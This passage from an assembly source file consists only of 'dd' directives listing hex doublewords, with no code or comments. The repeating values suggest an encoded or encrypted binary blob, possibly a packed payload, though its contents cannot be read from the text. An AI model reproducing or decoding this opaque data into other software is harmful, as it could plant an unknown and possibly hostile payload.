1A62D5B1h, 156681B6h dd 61D82432h, 9E7E83D1h, 1D8F70C9h, 93668832h, 42BFC7BDh dd 452BC5A0h, 1526118Ah, 0DE8D0932h, 14138619h, 0DEA5A3F1h dd 4D13D319h, 156682DBh, 1413BE32h, 8A2619E7h, 2E21A1D5h dd 0EF42A18Fh, 36E44B35h, 0FC662232h, 1566113Dh, 20BD1565h dd 0A5F2312Dh, 91521C38h, 2E0D2F19h, 39E087C9h, 1A664432h dd 156623B3h, 0DE8FE832h, 1A9977DAh, 15665EB1h, 1E32D32h dd 0FC661132h, 1566883Dh, 23B38EB1h, 9F37112Ah, 0DC50F566h dd 9E024B37h, 0EF61AD8Fh, 1DE72D35h, 1A661132h, 15668AB8h dd 0D2072432h, 0EF52E7B7h, 15661135h, 1A067D32h, 156650B8h dd 1C8F4232h, 0AD661132h, 4496188Dh, 0E84562BBh, 0F8729B54h dd 0F8D39853h, 75617217h, 156650DAh, 298ABD32h, 0E8F829EDh dd 167BEED0h, 8ADEA0C4h, 0CC33B49Dh, 7439E453h, 0B8FB05CBh dd 0E06E464Ah, 0A106F1CDh, 0D56D7039h, 15230C3Dh, 0FC064432h dd 1566223Eh, 5FD82A89h, 1B2872C6h, 3418DD31h, 1560AB3Dh dd 90691132h, 15668832h, 1F8F2453h, 71662232h, 29BC1F55h dd 0D108B4BFh, 0A0DDFEDEh, 0FC076FCFh, 15661145h, 15668EDBh dd 6CBAEC32h, 984D076Fh, 0EADD7CAFh, 15756135h, 0A8C84432h dd 0D2E16D6Bh, 0A2BFB266h, 71BEDFDDh, 559B404Ah, 0C699D773h dd 0EA3D923Dh, 1B8F77CDh, 0BA664432h, 431422A2h, 0F1879C79h dd 0BE231DFh, 0A0EDBD71h, 129C07DFh, 9DB89052h, 7402CD78h dd 21A3F1BBh, 989E25C8h, 15DD29AFh, 19E2873Ah, 1A664432h dd 156624B1h, 15E81E32h, 0EA668832h, 9E93BDE1h, 0EF420BB7h dd 90EFE835h, 129CADDFh, 13E64B52h, 94662232h, 0CE2F7AC0h dd 74077D62h, 156657DBh, 0A226C132h, 0C49946AEh, 23831CDAh dd 0ABFF87DAh, 0F5A4092Ah, 1A8E2FB2h, 156782B7h, 14E34B32h dd 0E0662232h, 15B3ACB1h, 1A668FC8h, 1566B2B6h, 9E694232h dd 15661130h, 0AA69D687h, 0A33425F1h, 95B8D441h, 9D354DF4h dd 4EBE00C1h, 58F2468h, 90662232h, 72CD0C0Ch, 2A18E76Dh dd 256712FAh, 0FD1EF39Dh, 15661126h, 52A3D34Eh, 9B99CA86h dd 64644BA2h, 7512986Dh, 2AA410BFh, 75CC256Ch, 0A7B49D3Dh dd 9C37708Bh, 9EAE01C3h, 0D1E7603Eh, 15662236h, 231D3CC7h dd 0ED4F9E2Ch, 231DFA64h, 0E567342Ch, 7EB1E6Ch, 0FC668832h dd 1566443Fh, 5E9F31FEh, 8B25273Ch, 5C12A824h, 11DD1758h dd 3C662232h, 317A9AEAh dd 0FC624CB1h, 15664420h, 0D6FA0185h, 0B845C79Fh, 8F32A804h dd 0E05AA671h, 75CD3A36h, 0A797AE3Dh, 7306E9EBh, 0DC9D96B3h dd 15662ADAh, 642B9232h, 9D475AA2h, 1577AD53h, 2A2232h dd 845F125Ch, 52A4D88Bh, 0DD3E4C9h, 4D5D705Ah, 170FF853h dd 99698832h, 15664435h, 72B5A252h, 98074A62h, 1738F8AFh dd 156FAD3Ah, 19F12232h, 371938BDh, 759BB418h, 0D2E72262h dd 73385CB8h, 74A4488Ch, 1C8F5BCDh, 89664432h, 743AD840h dd 9E25E8E9h, 661B15BFh, 95694C30h, 1566223Ah, 1564913Dh dd 74068832h, 108F97CDh, 47662232h, 7A124A1h, 90694839h dd 1566447Ch, 0E7E74252h, 7D252C6Ah, 0FC07D265h, 15664422h dd 78C8DCACh, 7B81BCC8h, 0F6C6118Fh, 0CB1C0950h, 152CCB53h dd 48F1132h, 0D4668832h, 5E8CA172h, 15213393h, 67FD171h dd 548E5C26h, 156ACF3Dh, 99692232h, 15661134h, 1566083Dh dd 90E54432h, 129C07DFh, 1576F837h, 3AD78832h, 0AA2A8A69h dd 996B4DF6h, 0AA76AC9Dh, 308F514Ah, 0E999BBCCh, 600CBFBFh dd 1F8F1930h, 0AA668832h, 81944D35h, 1971F9F5h, 0FCB5EE3Dh dd 15668826h, 64FD4571h, 8E420324h, 0DB80A638h, 9AA0C303h dd 998872F1h, 9069E239h, 1566110Eh, 156699DBh, 0CC32B132h dd 1A3A4A70h, 8D7097FAh, 267AFC77h, 238FA307h, 0FC662232h dd 1566113Fh, 1E6D3365h, 892F2A09h, 0A1C01013h, 1CE51E6Dh dd 75668832h, 62DC8CB8h, 74200F77h, 1562AF64h, 0E7678832h dd 964270B9h, 0FC9E26F6h, 15661039h, 78FB05CBh, 0EC61BB89h dd 0C6ED4452h, 0C69970CEh, 15200B3Dh, 128F4432h, 0A7662232h dd 7824ED55h, 0AD067594h, 46217BEh, 0A0ED43CEh, 129C34DFh dd 78FDF52h, 0BF664432h, 0C9C936Eh, 0CA9F2EC7h, 0C1212DEDh dd 0D2219A4Fh, 8BDE7BA6h, 74336265h, 154A67DBh, 14E84B32h dd 0ED662232h, 308B9CB9h, 9C9A8FC8h, 0EF43A987h, 0AE35D735h dd 1F210F90h, 5E606BF3h, 1CFF87B3h, 0E6E737D0h, 0C129D902h dd 3C3D511Bh, 3DA7C5C3h, 0FC15C448h, 1566113Ch, 2C6D5912h dd 7A8DF2FBh, 0E1276978h, 922F2A79h, 92B57FEBh, 156FADEBh dd 0E4F22232h, 119E2359h, 4456864Fh, 8E60148Bh, 87A7A347h dd 94223157h, 0E928CFF3h, 0DCE70D5Dh, 0CD47EAh, 0E5DDE0B3h dd 0DB67C391h, 94A86D6Bh, 96961DCh, 0DBEC7144h, 0FCBF0954h dd 0B19525DFh, 749EDA52h, 0EA9ABADBh, 9400E8CDh, 46AFCFDAh dd 1A077CCAh, 15661BBEh, 0C5EDE832h, 1566CE3Dh, 98072232h dd 15DB2CAFh, 0C699713Ah, 1569AC52h, 1B052232h, 0A766C10Ch dd 898C944Fh, 4A95ED2Ah, 4F0742A9h, 156600DBh, 0A4D3B32h dd 0D1E1C2D9h, 0D835FBC5h, 0B88B81C0h, 7D0791E2h, 15666A18h dd 4D421EBBh, 0FD3D4152h, 15668826h, 3539963Ch, 7AA7F715h dd 6D97D272h, 0A360BE39h, 0C1880A28h, 743FFDB9h, 128F9419h dd 98698FC8h, 15664433h, 18E52DCBh, 75661132h, 0DAAD348Bh dd 3281C542h, 746E7674h, 202394BBh, 1E8F8FC8h, 0BB664432h dd 0D670B1B7h, 3F1F92DDh, 90EDCA93h, 129C43DBh, 0F3EF74C7h dd 1562D7B3h, 0FBE58832h, 3152C336h, 315AAB6Eh, 767479CAh dd 11EF8832h, 14E54B16h, 0ED662232h, 0AAA99CBFh, 128F8032h dd 20664432h, 0D80F4782h, 0EA9A5412h, 0BDDCE8E3h, 0FC5CC6D0h dd 1566223Fh, 7FC7535Ah, 0F6DFCA22h, 9FE35BF7h, 108F4332h dd 0F661132h, 9400D66Ah, 0B7BC1B9h, 9F6925C8h, 15661133h dd 0F3EFDECBh, 156282B3h, 0FBE72232h, 15661136h, 4942BCB5h dd 0E94240BBh, 150B365Ah, 315A9832h, 0CED18752h, 74B9CF54h dd 128FA7B9h, 78F16C8h, 25668832h, 9D5832A9h, 0F4D282C6h dd 7D674F3Fh, 0F1189A27h, 0F3EF12B2h, 1562E4B3h, 0FBE51132h dd 31520F36h, 3162CD6Eh, 15662CDBh, 0D1BB7632h, 0D7951E27h dd 5392F26Ah, 98A19E41h, 15A71CBFh, 8EE873Ah, 75664432h dd 18FF4B9h, 63661132h, 0ADCA758h, 2F95CA52h, 69FE059Fh dd 0E6B69660h, 74EC6766h, 916995CDh, 1566222Bh, 156605DBh dd 7707CD32h, 47CE7321h, 5387FD49h, 6EA165B4h, 75E88740h dd 59F12C15h, 11EF2232h, 98694B16h, 15668833h, 1A0624CBh dd 9069E285h, 15661132h, 0F7A00953h, 74464502h, 1562CEB3h dd 11EF1132h, 1F8FD116h, 68664432h, 0AE18F187h, 0A587F0F2h dd 8EBA343h, 1A61BE2Ch, 15662AB6h, 0AD007132h, 23D76528h dd 4DBC753h, 1561D839h, 150A953Dh, 188F8832h, 74664432h dd 4F9ABD7Dh, 25A03371h, 35ADC408h, 34BFC1B9h, 3E9E25C8h dd 0EF6D00B7h, 0D45D7435h, 1522C23Dh, 90692232h, 1566113Ah dd 15640F3Dh, 74064432h, 24ABA7B9h, 169A16C8h, 0EF6D99B7h dd 90EFB135h, 129C348Bh, 1567903Dh, 0FC938832h, 156645C0h dd 156ECA52h, 1D6B1132h, 0CB5C6218h, 0A26933D4h, 0C5E67BFBh dd 6A0E7023h, 9C668816h, 7306603Eh, 74431B88h, 314A9063h dd 5998C71h, 964240B9h, 566326F6h, 0ED76EE36h, 0EA993260h dd 0C567BBCDh, 0F9E7D768h, 15661136h, 0AC4284BBh, 15664BCDh dd 1A3FEA3Bh, 15661DBBh, 13E28732h, 1A664432h, 156622BFh dd 4D344132h, 0FCF4CA68h, 15664420h, 4FAA137Bh, 4C430A01h dd 0E9DAD2D5h, 0ED0D4373h, 90EF1F15h, 129C30EBh, 94E389CEh dd 7561BE19h, 1564AA3Dh, 0CFD31132h, 11905AB3h, 0D20747F9h dd 0EF6D33B7h, 15661135h, 8E68732h, 75664432h, 156632DAh dd 196F2832h, 8A7B82EBh, 833783C8h, 0DD3D0325h, 94004FB0h dd 7412BCFAh, 156FC13Dh, 73062232h, 5C2FF7B3h, 7F07D260h dd 1FE04B72h, 0FC662232h, 15661137h, 790414Bh, 5662CF3h dd 9D692232h, 15661135h, 1567063Dh, 479F4432h, 0D7E7C0BBh dd 15661136h, 156262B3h, 1E14432h, 19EF7E16h, 156AF816h dd 3CA78832h, 64463D5Bh, 838E315Fh, 150CE6FAh, 15669BDBh dd 2D2EFE32h, 1DC891E3h, 0A41CBF07h, 100E99BAh, 3772558Eh dd 1EE3B7CDh, 9E0616C8h, 4BD9EEF4h, 1A8F25E4h, 8B662232h dd 9820F78Dh, 65BEDB1Ch, 7BE78E55h, 80993F05h, 129C054Fh dd 156680DBh, 69F98B32h, 2C1EBD59h, 0FEA1E1Ah, 75668832h dd 1566CB3Dh, 188F2232h, 0FE661132h, 0EF115EABh, 0A285A75Dh dd 0FF15D6FBh, 0D8E39853h, 75617203h, 156656DBh, 5DBC1032h dd 0CDD10D6Ah, 19D6AEF6h, 64597964h, 74290EC0h, 15661BDBh dd 5B0B3232h, 186B928Dh, 9CC66A80h, 0EF70A8B7h, 0DE08735h dd 1A664432h, 156630B5h, 156BF832h, 0E5EB8832h, 6F9BA206h dd 700A6ADCh, 0EA84899Fh, 943FAC06h, 156640F6h, 0A099DE32h dd 129C078Bh, 8D377CAh, 7561BE2Ch, 4707DBCAh, 0D7E7F3BBh dd 15668836h, 1562AEB3h, 1E12232h, 29EF4D16h, 4706E816h dd 91BDC569h, 742783D2h, 0E547CBB3h, 0EA07E7DCh, 0EF61AD87h dd 0A2694235h, 1576F8C5h, 95C88832h, 0B8019D01h, 0B5C00420h dd 8FFA1D84h, 9807FDC9h, 15BF3EB7h, 1EE52D3Ah, 0FC661132h dd 15668834h, 9766C457h, 0C5998402h, 156614DBh, 0C00D6A32h dd 98676B5Fh, 129C2923h, 0ACDB9ACEh, 75617224h, 156643DBh dd 0AB592632h, 37DB7054h, 8D30353h, 0ED61BE2Ch, 759F86C1h dd 1564993Dh, 0D4D08832h, 9E0795B8h, 0EF45DB87h, 0FCCBED35h dd 15668823h, 0EE69618Bh, 0E013149Ah, 0AE383671h, 0AE80C252h dd 0C60E159Ah, 4C3BA11Eh, 0E287C07Bh, 4E9709E3h, 4422BD94h dd 7A420EB3h, 9A635200h dd 53E77474h, 56542BCEh, 0D4937B37h, 946914F2h, 1566883Eh dd 7EDF2252h, 6A88A320h, 746A901Dh, 0CC23E061h, 143D6B7Eh dd 1A0679EAh, 156608B5h, 15726132h, 83874432h, 61EC53D5h dd 0ADF62659h, 89A9C289h, 4CB51AFDh, 749338A7h, 1CF9431h dd 1D8F8FC8h, 43664432h, 744ECC28h, 0FC5EC0DDh, 1566883Eh dd 0C788609Ch, 1ECC00CDh, 0AA04044Ah, 3DF05B9h, 9E6943C8h dd 15662233h, 20BE79C7h, 19EF8832h, 3152C516h, 62F155C4h dd 25E711BDh, 62F1FFC4h, 15664BDBh, 0F0BEC32h, 8775FE21h dd 0C0DDE179h, 88164A8Fh, 0AE35D79Fh, 0EA99EECEh, 16A17B33h dd 2E913D9Ah, 1DE209B3h, 3EE77DDFh, 0DA6CF916h, 1569AD69h dd 8F612232h, 0B6CC1BC6h, 59A972E5h, 2B30FBFCh, 0ECD3ABDAh dd 7561EB11h, 4C3447B9h, 0EA9EC753h, 15A5A73Dh, 58F1132h dd 0AE668832h, 0A70C3F2Dh, 0AD89B01Dh, 27F06372h, 94BC4147h dd 0C8BB990Ch, 0B7E32DEFh, 75661132h, 0FEA50954h, 16E24BCFh dd 95662232h, 1A0756F3h, 156689B0h, 1C0EB132h, 9C66223Eh dd 5EDE3536h, 1047E71Dh, 0CBF69487h, 753E24BBh, 1561F952h dd 556D8832h, 6BB276FDh, 0DAED7804h, 0E4ED7753h, 110ED953h dd 4C664432h, 1A3FEC33h, 15661DBAh, 15616132h, 0DA444432h dd 0F2680836h, 0ECD3988Bh, 1A617211h, 156645BAh, 448FD732h dd 7599EEE0h, 5BBD0954h, 156FADC8h, 93C12232h, 70201F29h dd 74AC749Dh, 1571C33Dh, 78F2232h, 0ED661132h, 1C13FACBh dd 0D317AF22h, 46FCA6F7h, 776709B6h, 16A64941h, 0BCE347CBh dd 0FC61D826h, 1566113Eh, 8941A999h, 265D1A95h, 158AC118h dd 131FACB1h, 1A678FC8h, 156522B6h, 0EC06DB32h, 0BF589053h dd 1ACC2298h, 1566D1B7h, 156BCB32h, 0A2C81132h, 0CB98C698h dd 0F094E430h, 45EF8176h, 1566158Ah, 9EA08932h, 0D1E76036h dd 15662236h, 15661CDBh, 0BDEDE332h, 0B14EFF54h, 0B5C85911h dd 53A1AE9Ch, 0EB0273CEh, 23D91344h, 9462DC36h, 0B54F5FF5h dd 9C890947h, 3C65DBFAh, 1A39DE4Ch, 156600B9h, 156A6132h dd 9F8E4432h, 5E056FA7h, 0CABE69EAh, 0F9E5A956h, 3162CD36h dd 1A397A65h, 15661ABDh, 0CCE7E832h, 70BFCAA4h, 7401E8B2h dd 9D8FA360h, 317203E2h, 0ED6280B1h, 156664DBh, 4236E932h dd 315A036Ah, 156280B3h, 0FD062232h, 1566113Dh, 0F7AC965Fh dd 0A44EDACFh, 5AD4E8FCh, 7310C7D4h, 743C57B9h, 63262C54h dd 3172AB54h, 0C5EEF980h, 198FD254h, 31664432h, 0D78F5CA3h dd 88CC5594h, 7DA81582h, 1566714Fh, 0EC4226BBh, 0FCDB92C7h dd 1461722Fh, 1441C03Dh, 0AC062232h, 1D1535FDh, 1565013Dh dd 0C0E64432h, 18F4393h, 37661132h, 0A64476F8h, 0DABA7203h dd 313268ACh, 87DE905Eh, 44584840h, 520ADF8Bh, 4CAEAB3Fh dd 382EC1C5h, 0E7DE1A51h, 0A8E5BDCAh, 1D67D0DAh, 30E21E32h dd 0E9668832h, 0F8CAD9BFh, 58F2A32h, 0FC661132h, 75AE1127h dd 0E56DE6A3h, 6CF9D030h, 0EA6FC27Ch, 4537E8E1h, 0EC071B6Dh dd 1AF61DB2h, 156629B6h, 19EB8732h, 1A664432h, 156624B3h dd 15EE1E32h, 40668832h, 1566418Fh, 9E892332h, 0D1E5351Eh dd 0DD8F7036h, 1A664433h, 15662EBDh, 13E91E32h, 1A668832h dd 156644B6h, 459EA132h, 1509933Dh, 9B698832h, 1566443Bh dd 0C4ED4452h, 933CAA54h, 85D0DA53h, 1EDB4BAh, 11A2A116h dd 9069BBCBh, 15668834h, 0A269BC52h, 11ED43F3h, 0F7EF4316h dd 15624AB3h, 0D7E54432h, 3172A536h, 156EF86Eh, 836F8832h dd 227C4D4Dh, 1ACC551Bh, 156619BEh, 17E78732h, 75664432h dd 15A3CB53h, 1B8F1132h, 0A4668832h, 749F9D4Fh, 0CACE98FCh dd 997BA8C6h, 315277EDh, 11A2C56Ah, 0EC662232h, 6AE6ED98h dd 906961CDh, 156644A9h, 1561A23Dh, 91691132h, 15668833h dd 9E0024CBh, 156FCBF9h, 0EEF91132h, 698F78AAh, 7446B8BFh dd 0E78E9FB1h, 1A661933h, 1566C4B6h, 78F2432h, 0B1662232h dd 32B5794h, 656AE2E7h, 0E40F55D9h, 0F7BAB914h, 9807E4BDh dd 158A2DAFh, 9269243Ah, 15662237h, 6FB09054h, 1563615Fh dd 0B1CA4432h, 7465F285h, 0FC06C2CDh, 1566883Eh, 0EB136D77h dd 83796289h, 0EA9DC5F7h, 118A0953h, 9C664432h, 11DD062Eh dd 14661132h, 4E6500C9h, 15664EDBh, 6CAF5032h, 0CD4EAEF2h dd 9E7D701Dh, 0EF70FDB7h, 1A06DA35h, 156617B6h, 0D7A00932h dd 956A79F5h, 46071FC7h, 3C756189h, 0D8D093Dh, 0E20F1653h dd 0E48DA3E9h, 14942EEEh, 0ED4FD3EAh, 0FC16F31Fh, 3ED2D55h dd 0FC661132h, 15668823h, 2E56894Bh, 433B92EFh, 0DB99DFBEh dd 0BA45305Ah, 11DB1138h, 10662232h, 5EC76D6Eh, 494B601Bh dd 482DE54Eh, 156627DBh, 6010A132h, 75CD0107h, 1186C554h dd 1568CA2Ch, 0CB131132h, 3932BA7Dh, 692394DBh, 0A19E607Bh dd 0B8074ACBh, 0E9DCDACBh, 9499BBCDh, 4169B9D8h, 9494101Ah dd 416913F0h, 1564831Ah, 4F662232h, 156E9F3Dh, 90698832h dd 15664430h, 7F8F4352h, 7599EEC9h, 0A2B9373Dh, 0A0EF2599h dd 129C01CBh, 1F8F9152h, 74BE0354h, 15790E5Ah, 3172AB32h dd 1563F952h, 5258832h, 1A0F1037h, 156622B1h, 7D074932h dd 15660832h, 0E6ED2252h, 1564AF3Dh, 4A351132h, 1A66E253h dd 15664CBFh, 17E12D32h, 75661132h, 0B8D37753h, 7561BE27h dd 73B69D3Dh, 0EA07C0B9h, 0EF66FDA7h, 2199B135h, 0D1E57816h dd 98EDE436h, 129C9EB7h, 156648DBh, 0CC7A132h, 9DAB5030h dd 8DB4790Fh, 65B2C73h, 1EF2232h, 72FEAB16h, 14A1D479h dd 492D23AAh, 0E03C3303h, 156F9A3Dh, 73068832h, 0AF0085B9h dd 43073FCDh, 1562AC67h, 0FBEF8832h, 4B97456Fh, 17E52D52h dd 9E661132h, 0FBE7EEC2h, 9C074BE1h, 0EF70A7BFh, 1572F835h dd 0CFF88832h, 0B78E9B5Eh, 62AC170Eh, 21E20E0Ch, 0CEE12BA8h dd 0F18F86E5h, 0ED99DDF7h, 154DB3DBh, 15696132h, 0DE4432h dd 0CBD7BA10h, 23461961h, 7D61F04Fh, 1F8F2499h, 79662232h dd 0D24E35D2h, 71D2FDDh, 90EBCF26h, 0E061D824h, 15DF4061h dd 9C668832h, 0DE671DF9h, 0E03D29B9h, 0E7829CBBh, 73068033h dd 73E5B78Dh, 9407F4B9h, 51325F0Ah, 89E3877Eh, 0FC664432h dd 15662223h, 9BE844FFh, 0A24EFC83h, 0F7B24246h, 0D568EF25h dd 6DE77708h, 1A48C436h, 15663EB7h, 156FCB32h, 0B0961132h dd 65A0EA00h, 7D829877h, 15665449h, 9C420DBBh, 4EB801F1h dd 156656DBh, 0E5FBF32h, 343EA2A9h, 0AEDDAFA4h, 0E2A38FDDh dd 1A3AFCC2h, 156610B8h, 0AE357D32h, 15664434h, 9EDFC33h dd 11A29216h, 15669BDBh, 0FBB76932h, 59429607h, 44625DBFh dd 59A41787h, 7CBE8641h, 3FDBA7B9h, 1F8F16C8h, 4C668832h dd 0A40C5C75h, 2146F4AAh, 1078F864h, 949E8832h, 156640DEh dd 317AAB32h, 0CBEFD2BBh, 45367169h, 0EC38328Ah, 31220B06h dd 943C4936h, 0EC38FEF0h, 156CAD06h, 55CE2232h, 6195E1B0h dd 233195E0h, 9B698D03h, 1566223Eh, 1560923Dh, 96698832h dd 15664432h, 198F429Eh, 0B4661132h, 0B514BAA7h, 633BD4B0h dd 7418938Ah, 9169110Eh, 156689A4h, 15664EDBh, 643A4832h dd 2C39B0A3h, 294BD7C7h, 0D8E24B1Fh, 0E999DDCDh, 91693F0Eh dd 156688EAh, 13E74B52h, 1A662232h, 156611B6h, 0C4EDEE32h dd 9E002453h, 0B2079DF8h, 2907524Ah, 43E48702h, 0E0664437h dd 93691B0Eh, 0EA99EEAAh dd 15740E3Dh, 188F4432h, 0E8662232h, 35DAEF0Eh, 0D816D6E8h dd 0FE01F3F3h, 9769630Eh, 1566141Fh, 156D093Dh, 138F4432h dd 90662232h, 9881432Eh, 1A3CB477h, 0EA991BB4h, 4A5ADACDh dd 0EA30953Dh, 956977CDh, 15664433h, 1A071ECEh, 1562EDB0h dd 15606132h, 3CFA4432h, 0D6AC7B0Ch, 93696B0Eh, 0EA997706h dd 9E001452h, 74937DC5h, 15679C3Dh, 0FC9E8832h, 156640E7h dd 2FA59C52h, 68E1437h, 0CC668832h, 6B175716h, 0F660FFFBh dd 334957DAh, 3FE93F4Bh, 1A8F51D5h, 1C662232h, 0CC7938DDh dd 75CB7519h, 0E471223Eh, 743D4636h, 1506295Ah, 31720132h dd 4F4240CDh, 0FCDD4452h, 10E81E39h, 73668832h, 0C9529CB3h dd 1A941B53h, 15626DB6h, 188FE832h, 40664432h, 2686D389h dd 0EC3C038Bh, 5BDC141Eh, 0AE3525C7h, 0EA99DDCDh, 753DCB33h dd 15669BDAh, 70C5C432h, 6F56A448h, 0E449B691h, 7524A93Eh dd 0ECE74BB9h, 15662ADBh, 90E01832h, 0A89A3049h, 47071C5Dh dd 0EA99DD88h, 4FB738CDh, 156A013Dh, 98694432h, 15662234h dd 1566923Dh, 748F8832h, 0FC99BBCCh, 1566223Ch, 1962C80Ch dd 85BC6278h, 8BC7AAF7h, 0DCE36B96h, 169D953Dh, 9A698832h dd 15664426h, 15662DDBh, 2AF23B32h, 0FA1658BCh, 50E85E44h dd 193D4718h, 1217A4BFh, 0E9068FC8h, 873FB54h, 94347753h dd 13943506h, 943BA9CFh, 0E860B6C7h, 488FAB13h, 156617DBh dd 4FFCDD32h, 0E9EFC343h, 315AA960h, 0ED62D5B1h, 95DC3A60h dd 0FFE685F0h, 4FB6AA08h, 14AD1CCh, 156C61CBh, 39964432h dd 255320F7h, 8B3D4E81h, 0E09BFD9Ch, 15664FDBh, 795D5332h dd 51A7397Ch, 9346307Dh, 78E0F967h, 0FC4F6F9Bh, 949F386Fh dd 0BC0B0EF3h, 0C491BC7Fh, 0EC99CBB1h, 6306A962h, 83539F68h dd 3814FA2Ch, 0FCD42FC4h, 3C3ED61Bh, 15A109FDh, 0E01A7669h dd 29ED7465h, 11A29016h, 4B668832h, 0E0C2B7C7h, 0D3D69763h dd 45D6EE75h, 0EA99778Ah, 259E45CDh, 0FC3F7A1Ah, 1566113Ch dd 11DFE555h, 0EBED255Eh, 0DC0FC3h, 80EB9A9Eh, 129C8F43h dd 156655DBh, 68F64032h, 8D602110h, 0F6038A27h, 66EF80E3h dd 90EDF15Bh, 129C359Fh, 57870952h, 1A5477BFh, 9007D085h dd 0A6E31EF2h, 1A668832h, 15665DB7h, 58F4232h, 82661132h dd 0CDBF52DFh, 0E1633434h, 942FDF5Dh, 4674F041h, 1A06E96Ch dd 156647B4h, 0EFED4432h, 74FDDBB2h, 13030DF4h, 0FC2143C8h dd 15662220h, 67834915h, 0CAE2207Bh, 0EAAA0042h, 5796E94Eh dd 0C70E21EBh, 0FCB21295h, 15664434h, 0AD8D6BB5h, 0A099507Eh dd 129CA8A7h, 15664ADBh, 0F193332h, 0EB50C2FFh, 0A7721C4h dd 987E9643h, 0E8C5FFB7h, 1569F835h, 0FC8A8832h, 0B294BEA2h dd 0F0C0C776h, 94914DC2h, 15766123h, 0EDED4432h, 92FD1DF5h dd 57D3131h, 0BAB7F45Fh, 0C599EC1Ah, 15662BDBh, 0CCD87932h dd 0F4E8B6B6h, 9C359815h, 11A5A3D1h, 94661132h, 15668CD9h dd 317AC332h, 3172AB6Eh, 156B9E3Dh, 1D8F8832h, 7F664432h dd 0A2361618h, 0ED613C9Eh, 0FC0658CDh, 1566443Ah, 0A821C6A1h dd 6F537D0Ah, 156D6153h, 0D6E94432h, 53EACC04h, 8BD24669h dd 1AA60DF3h, 1566B3B7h, 156BCB32h, 0F1041132h, 0EDD4D546h dd 0DC926BB6h, 9EBE5789h, 0EF4E08B7h, 0D5E37D35h, 1511C13Dh dd 0D39E2232h, 0EF6074B7h, 9E06C435h, 74B2CEC2h, 0CF7ACB5Ah dd 1EC1EEBh, 0FC668832h, 1566443Dh, 9EE171D9h, 5F76B386h dd 0C0977E84h, 0EA283259h, 0EF46B787h, 12E91E35h, 75668832h dd 1096C554h, 90EB436Bh, 129BB2EFh, 75A00252h, 0D4E71F60h dd 2F1B4A5Ch, 0C5997053h, 4D9FD952h, 15664CDAh, 54A4F032h dd 0D4BFEBFh, 156F6102h, 0E9934432h, 7890F87Ah, 4A15F720h dd 0C13E053h, 1EF4432h, 1576CB16h, 0FA531132h, 517A5F97h dd 0AD9D3B8Ah, 64FC504Eh, 0C599FFF5h, 156681DBh, 69460A32h dd 229EF9A8h, 0D5E363C5h, 154C0D3Dh, 58F4432h, 662232h dd 49AAC251h, 883F4381h, 0D097C28Fh, 0FC0F0987h, 156611DFh dd 156683DBh, 46764532h, 61CAF268h, 0DF453457h, 0E7820DBBh dd 0FC064C33h, 1566223Dh, 3A8A9113h, 0A101F21Eh, 0C074E6DCh dd 95252CBCh, 430766EFh, 0D3E76EBBh, 15664436h, 1562CCB3h dd 21E11132h, 11EFD416h, 108F2416h, 0A5662232h, 9C536444h dd 810E7D53h, 9C664429h, 0FC060606h, 1566113Eh, 0CD048CF5h dd 8A838BBBh, 2F892600h, 156618DBh, 8FA93032h, 0AD64C29Eh dd 980764AFh, 0E8A30EB7h, 12E48735h, 1A664432h, 156623BAh dd 0C599ED32h, 15776052h, 65234432h, 0DFA386F8h, 150A64D5h dd 6D895A0Ch, 94D43E5Bh, 85F5EEDAh, 9F694904h, 15668830h dd 1E071086h, 6E32DF2h, 0E9661132h, 1566A0DBh, 4DD92432h dd 943FEE8Ch, 0BFC552F2h, 51EFE908h, 9B695816h, 1566223Bh dd 0C6E77752h, 7406C3D4h, 0AA692453h, 0E7ED44E2h, 0D69A7053h dd 9E9AE8CBh, 1494A0BFh, 1563CB3Ah, 0EB6C1132h, 43FE5250h dd 0D3E7A2BBh, 15662236h, 1562FFB3h, 21E18832h, 11EF1816h dd 1568CB16h, 2C0F1132h, 3A6D473Dh, 0CE50B27h, 59D46B3Eh dd 9C3C4060h, 0FC06D2E2h, 15664421h, 95E92FAAh, 220C7F38h dd 0BA247E4Bh, 7F021621h, 1A2C52F7h, 156613B1h, 743FD832h dd 1562A8B3h, 1EF2232h, 155AAB16h, 0D7678832h, 0EC3C4631h dd 9DDF73CEh, 14661132h, 9E7703F3h, 0D1E5603Eh, 0DEF2D36h dd 0FC661132h, 15668821h, 0F094E430h, 85EF8176h, 329CEE68h dd 524F91Dh, 75C51598h, 1A074252h, 7507D28Dh, 156684DBh dd 7422F732h, 0B6949C81h, 5EB7F1ADh, 1BDFEE94h, 9C072585h dd 0EF4073A7h, 1DE21E35h, 1A668832h, 156646BAh, 0FC074232h dd 15661126h, 32BEB826h, 5B62776Fh, 39E4C682h, 7798DCDh dd 1FC15082h, 159EFB65h, 634B2232h, 1456B83Eh, 19108DCAh dd 7539749Bh, 62AD638Dh, 74E1A520h, 946AF8CDh, 49E36036h dd 453C1D33h, 143A948Ah, 4DA4A10Dh, 15664FDBh, 7CAE432h dd 4532577Dh, 7165A325h, 38FBD1BBh, 9C6925C8h, 15661134h dd 4238D952h, 21992569h, 0D1E77A16h, 15661136h, 311277C7h dd 3162CF16h, 7562E6B1h, 1575F852h, 0ECCF8832h, 0FC9B8B23h dd 0FC4C53B5h, 41DA63C4h, 0F4200AF4h, 460725DDh, 4E174F89h dd 4EBE382Ch, 7863401Bh, 0FC781F43h, 15662226h, 12B6AADCh dd 20099442h, 62EDCC49h, 0B1D02A2Bh, 0A15A0253h, 38FB0D09h dd 976943C8h, 1566226Ah, 44E32ACEh, 1A617214h, 15660FB1h dd 1576CB32h, 94D11132h, 0FD2CF2E3h, 960CF655h, 1486CD38h dd 75077FA8h, 8FEE6AB3h, 1C8E0041h, 0EE662232h, 46D24B5Dh dd 31714B0Ch, 1566C53Dh, 74392232h, 1A6615F0h, 156687BDh dd 156CAD32h, 0B06A2232h, 83192C24h, 0E48FB757h, 1DED4B53h dd 1A662232h, 156613BDh, 7507E832h, 1563C83Dh, 0A8DC2232h dd 74449ED3h, 0D1428CF5h, 9406A34Ch, 75170606h, 21E7050Dh dd 3F66A116h, 0E1D81201h, 3C7B2C4Fh, 4B623546h, 0C942ACB3h dd 0EA537D44h, 11E7063Eh, 0CBB96816h, 156A61EDh, 0F71D4432h dd 5F8F1476h, 3C7BD597h, 48FE00Fh, 78664432h, 1AE7EF82h dd 6AF8BB15h, 87DD2873h, 2CC8F6B1h, 114266F5h, 33DF6D12h dd 1142E4F3h, 3122C534h, 235FF636h, 3132E60Dh, 0D0DCDA36h dd 1459952Dh, 4F6E0666h, 730E46CAh, 9E07554Eh, 0D1E7600Eh dd 15662236h, 0FAE7C6C5h dd 8B440BA6h, 0E939BCBBh, 5A00AFBFh, 